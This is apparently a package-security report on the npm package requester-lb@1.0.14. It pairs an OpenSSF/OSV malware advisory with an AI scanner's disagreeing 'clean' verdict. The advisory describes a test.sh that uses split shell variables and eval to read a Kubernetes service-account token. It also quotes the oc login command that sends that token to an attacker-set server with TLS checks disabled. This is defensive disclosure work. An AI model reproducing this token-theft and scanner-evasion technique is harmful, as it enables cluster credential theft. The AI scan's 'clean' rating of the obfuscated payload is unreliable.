This report shows the evidence for requester-lb@1.0.14. 4 of 14 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed.
Blocked by malware advisory
OpenSSF/OSV malware advisory MAL-2026-20217 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as clean; the assessments disagree.
What to do: remove this version and, if it ran, rotate the credentials it could reach. Remediation↓
OpenSSF/OSV malicious advisory
published · by OpenSSF/OSV
OpenSSF/OSV advisory MAL-2026-20217 confirms this npm version as malicious.
Advisory
MAL-2026-20217
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in requester-lb (npm)
Details
The package advertises itself as an HTTP/DNS requester CLI but ships a test.sh whose primary purpose is credential theft. test.sh splits sensitive commands into ~10 single-letter shell variables that are concatenated and passed to eval, reconstructing `printenv` and a command that reads the in-pod Kubernetes service-account token from /var/run/secrets/kubernetes.io/serviceaccount/token into $DEBUG_FILE, then invokes `./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify` to authenticate the current cluster identity to a server specified via the SERV environment variable. The string-fragment obfuscation has no benign purpose and is a deliberate scanner-evasion pattern. The package layout corroborates the disguise: package.json declares `main: index.js` but no index.js is shipped, the only legitimate JS (requester.js) is unrelated to the shell payload, and test.sh is not referenced by any npm script — it is a standalone delivery vehicle for an operator or CI job that executes it inside a Kubernetes/OpenShift pod. The payload does not auto-execute on `npm install` (no lifecycle hook invokes test.sh), but the harm on explicit execution is cluster credential theft and attacker-controlled cluster federation with TLS verification disabled.
## Source: ghsa-malware (41c9da6727adedf58906cf5f2cc136518b193eae2b6e557bd900c80a9078ab1a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
LPM's AI review found this version clean. That disagrees with the OpenSSF/OSV advisory, which supplies the block.
The declared command runs a network diagnostic against a domain supplied by the user. test.sh contains concerning Kubernetes token handling, but it is an unreferenced helper and does not run through the package's declared command or entry point.
Static reason
No blocking static signals were detected.
Trigger
A user explicitly runs the send npm script with a target domain.
Impact
Network activity is limited to the requested connectivity check; no fixed destination or automatic credential collection was found in the declared command.
Mechanism
The CLI resolves the supplied domain and makes an HTTP or HTTPS request with user-provided options.
Independent scan evidence
public snapshot
AI called this Clean at 84.0% confidence as Benign with low false-positive risk.
Evidence for AI clean decision
The only declared npm script runs requester.js as an explicit CLI command.
The CLI requires a user-supplied domain and sends HTTP requests using its supplied options.
Network activity follows an explicit CLI invocation and can be skipped with --dns-only.
Evidence against
test.sh contains obfuscated shell statements that read a Kubernetes service-account token and pass it to oc login using SERV, but the package manifest does not invoke or expose this helper.
The versions list below shows the verdict for each recorded version.
Avoid installing requester-lb@1.0.14. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.